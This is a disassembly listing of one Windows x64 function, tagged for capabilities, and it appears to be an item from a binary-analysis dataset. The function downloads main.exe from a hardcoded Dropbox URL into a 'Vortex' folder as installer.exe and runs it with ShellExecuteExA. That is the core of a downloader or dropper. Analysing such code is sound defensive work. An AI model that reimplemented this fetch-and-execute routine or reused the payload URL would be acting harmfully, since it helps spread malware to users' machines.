Function at 0x140001ef0
Capabilities:
Create directory
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x50], rax
xor ebx, ebx
mov ecx, 0x50
mov qword [rbp + 0x18], rbx
call fcn.140004018
movdqa xmm0, xmmword [0x140006be0]
mov rcx, rax
movdqu xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x10], rax
movaps xmm0, xmmword [str.https:__www.dropbox.com_scl_fi_8y2gohdwg4h6mfivyh4oo_main.exe_dl1]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140006a70]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140006a80]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140006a90]
movups xmmword [rax + 0x30], xmm1
movzx eax, word [0x140006aa0]
mov word [rcx + 0x40], ax
mov byte [rcx + 0x42], bl
lea rcx, [rbp + 0x30]
call fcn.140001be0
mov rsi, qword [rbp + 0x40]
mov r13, qword [rbp + 0x48]
mov r14, qword [rbp + 0x30]
test rsi, rsi
jne 0x140001fa3
mov ebx, 1
jmp 0x1400023be
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 7
jb 0x14000245e
cmp r13, 0xf
mov qword [rbp - 0x60], rbx
lea r12, [rbp + 0x30]
mov qword [rbp - 0x58], rbx
lea r15, [rsi + 7]
mov ebx, 0xf
cmova r12, r14
lea rdi, [rbp - 0x70]
xorps xmm0, xmm0
movabs rax, 0x8000000000000000
mov edx, 0x16
movups xmmword [rbp - 0x70], xmm0
cmp r15, rbx
jbe 0x140002063
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000200e
mov rbx, rcx
add rax, 0x27
jmp 0x140002038
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140002022
xor edi, edi
jmp 0x14000205f
cmp rcx, 0x1000
jb 0x140002057
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002464
mov rcx, rax
call fcn.140004018
test rax, rax
je 0x140002423
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000205f
call fcn.140004018
mov rdi, rax
mov qword [rbp - 0x70], rdi
mov r8, rsi
mov qword [rbp - 0x60], r15
mov rdx, r12
mov qword [rbp - 0x58], rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [str.Vortex]
lea rcx, [rbp - 0x70]
mov dword [rdi + rsi], eax
movzx eax, word [0x140006aac]
mov word [rdi + rsi + 4], ax
movzx eax, byte [0x140006aae]
mov byte [rdi + rsi + 6], al
mov byte [rdi + r15], 0
cmp qword [rbp - 0x58], 0xf
cmova rcx, qword [rbp - 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1400020d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400020d2
mov ebx, 1
xor edi, edi
jmp 0x140002377
mov rsi, qword [rbp - 0x60]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 0xe
jb 0x14000245e
cmp qword [rbp - 0x58], 0xf
lea r12, [rbp - 0x70]
lea r15, [rsi + 0xe]
mov ebx, 0xf
cmova r12, qword [rbp - 0x70]
lea rdi, [rbp - 0x50]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
cmp r15, rbx
jbe 0x140002199
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000215b
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.140004018
test rax, rax
je 0x140002423
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002195
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140002175
xor edi, edi
jmp 0x140002195
cmp rcx, 0x1000
jb 0x14000218d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002464
jmp 0x14000213c
call fcn.140004018
mov rdi, rax
mov qword [rbp - 0x50], rdi
mov r8, rsi
mov qword [rbp - 0x40], r15
mov rdx, r12
mov qword [rbp - 0x38], rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.installer.exe]
lea rdx, [rbp + 0x10]
movsd qword [rdi + rsi], xmm0
lea rcx, [rbp - 0x10]
mov eax, dword [0x140006ab8]
mov dword [rdi + rsi + 8], eax
movzx eax, word [0x140006abc]
mov word [rdi + rsi + 0xc], ax
mov byte [rdi + r15], 0
call fcn.140001d90
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.140001d90
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x10]
call fcn.140001290
test al, al
jne 0x140002227
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Download_fehlgeschlagen.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edi, edi
mov ebx, 1
jmp 0x140002289
xorps xmm0, xmm0
mov dword [rsp + 0x20], 0x70
xor eax, eax
lea rcx, [rsp + 0x20]
xor edi, edi
mov qword [rbp - 0x7c], rax
cmp qword [rbp - 0x38], 0xf
mov ebx, 1
mov dword [rbp - 0x74], eax
lea rax, [rbp - 0x50]
cmova rax, qword [rbp - 0x50]
movups xmmword [rsp + 0x34], xmm0
mov qword [rsp + 0x38], rax
movups xmmword [rsp + 0x24], xmm0
mov qword [rsp + 0x30], rdi
movups xmmword [rsp + 0x44], xmm0
mov dword [rsp + 0x50], ebx
movups xmmword [rsp + 0x54], xmm0
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov ebx, edi
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x1400022c9
mov rcx, qword [rbp - 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022c4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002423
call fcn.140004010
mov rdx, qword [rbp + 8]
movdqa xmm0, xmmword [0x140006bc0]
mov word [rbp - 0x30], di
movdqu xmmword [rbp - 0x20], xmm0
cmp rdx, 7
jbe 0x140002322
mov rcx, qword [rbp - 0x10]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002315
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002423
call fcn.140004010
movdqa xmm0, xmmword [0x140006bc0]
mov rdx, qword [rbp - 0x38]
mov word [rbp - 0x10], di
movdqu xmmword [rbp], xmm0
cmp rdx, 0xf
jbe 0x140002366
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002361
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002423
call fcn.140004010
movdqa xmm0, xmmword [0x140006bd0]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400023ae
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023a9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002423
call fcn.140004010
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
cmp r13, 0xf
jbe 0x1400023f1
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400023e9
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002423
mov rcx, r14
call fcn.140004010
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14000242f
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000242a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000242a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004010
mov eax, ebx
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.140003ff0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011b0
int3
call fcn.140001110
int3